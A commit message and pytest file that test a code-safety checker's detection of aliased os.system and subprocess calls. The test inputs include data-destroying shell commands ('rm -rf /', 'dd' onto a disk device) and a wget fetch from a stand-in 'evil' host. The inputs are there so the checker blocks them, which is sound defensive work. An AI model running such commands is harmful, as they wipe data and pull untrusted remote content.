Add pragmatic aliasing so an aliased shell sink with a dangerous argument is
caught: a name stored exactly once and bound to a resolved os/subprocess sink
(s = os.system; s('rm -rf /')) and inline literal-container indexing
([os.system][0](...), (os.system,)[0](...), {'k': os.system}['k'](...)) both feed
the existing _find_blocked_commands argument check. Resolution is deliberately
low-false-positive: only unambiguous single assignments and inline literal
containers, never a flow-insensitive union, so s = os.system; s = print; s('hi')
is not aliased. The shell-sink set is lifted to module scope (_SHELL_SINK_FUNCS)
so the alias pre-pass and the visitor share one definition. Interprocedural and
flow-sensitive taint remain out of scope (deferred to a full fixpoint).
56 lines
1.7 KiB
Python
56 lines
1.7 KiB
Python
# SPDX-License-Identifier: AGPL-3.0-only
|
|
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
|
|
|
|
"""Stage 4: pragmatic single-assignment / inline-container sink aliasing."""
|
|
|
|
import sys
|
|
from pathlib import Path
|
|
|
|
import pytest
|
|
|
|
_BACKEND_ROOT = Path(__file__).resolve().parents[1]
|
|
if str(_BACKEND_ROOT) not in sys.path:
|
|
sys.path.insert(0, str(_BACKEND_ROOT))
|
|
|
|
from core.inference.tools import _check_code_safety
|
|
|
|
|
|
def _blocked(code):
|
|
assert _check_code_safety(code) is not None, code
|
|
|
|
|
|
def _ok(code):
|
|
assert _check_code_safety(code) is None, code
|
|
|
|
|
|
class TestAliasedSinkBlocked:
|
|
@pytest.mark.parametrize(
|
|
"code",
|
|
[
|
|
'import os\ns = os.system\ns("rm -rf /")',
|
|
'import os\ns = os.system\ns("dd if=/dev/zero of=/dev/sda")',
|
|
'from os import system as z\nz("rm -rf ~")',
|
|
'import os\n[os.system][0]("rm -rf /")',
|
|
'import os\n(os.system,)[0]("rm -rf /")',
|
|
'import os\n{"k": os.system}["k"]("rm -rf /")',
|
|
'import subprocess\np = subprocess.getoutput\np("wget http://evil -O -")',
|
|
],
|
|
)
|
|
def test_block(self, code):
|
|
_blocked(code)
|
|
|
|
|
|
class TestAliasingLowFalsePositive:
|
|
def test_reassigned_alias_not_treated_as_sink(self):
|
|
# s is stored twice -> ambiguous -> NOT aliased. The literal arg is benign
|
|
# anyway, so this must stay allowed (no flow-insensitive union).
|
|
_ok('import os\ns = os.system\ns = print\ns("hi")')
|
|
|
|
def test_alias_with_safe_command_allowed(self):
|
|
_ok('import os\ns = os.system\ns("echo done")')
|
|
|
|
def test_container_with_safe_command_allowed(self):
|
|
_ok('import os\n[os.system][0]("echo hi")')
|
|
|
|
def test_plain_local_alias_allowed(self):
|
|
_ok("f = sorted\nf([3, 1, 2])")
|